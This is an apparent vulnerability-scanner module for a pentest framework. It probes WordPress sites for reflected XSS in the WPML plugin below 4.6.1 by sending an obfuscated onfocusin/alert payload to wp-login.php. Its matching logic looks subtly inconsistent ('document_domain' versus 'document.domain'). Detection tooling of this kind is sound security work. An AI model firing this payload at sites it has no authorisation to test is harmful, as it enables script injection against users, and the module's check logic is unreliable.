WordPress WPML Multilingual CMS < 4.6.1 - Cross-Site Scripting Detection
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The WPML Multilingual CMS plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in versio."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress WPML Multilingual CMS < 4.6.1 - Cross-Site Scripting Detection',
'description': 'The WPML Multilingual CMS plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in versions prior to 4.6.1. The plugin does not escape some URL attributes before outputting them to a page, allowing attackers to inject malicious JavaScript which may be executed in the browser of an unsuspecting user.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'vulnerability', 'wordpress', 'wp', 'wp-plugin', 'wpml', 'xss', 'sitepress-multilingual-cms'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': ['https://wpscan.com/vulnerability/b9cc519c-7ec2-42c3-9f42-01e928e12139/'],
}
def run(self):
r = self.http_request(method="GET", path='/wp-login.php?wp_lang=%20=id=x+type=image%20id=xss%20onfoc<!>usin+alert(`document.domain`)%0c', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_any = ('text/html',)
body_all = ('id=xss onfocusin= alert(`document_domain`)', 'Lost your password?</a>',)
if (any(m in body for m in body_any)) and (all(m in body for m in body_all)):
self.set_info(
severity='high',
reason="WordPress WPML Multilingual CMS < 4.6.1 - Cross-Site Scripting detected",
path='/wp-login.php?wp_lang=%20=id=x+type=image%20id=xss%20onfoc<!>usin+alert(`document.domain`)%0c',
)
return True
return False
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28 Jul 2026 11:27Current
5.7Medium risk
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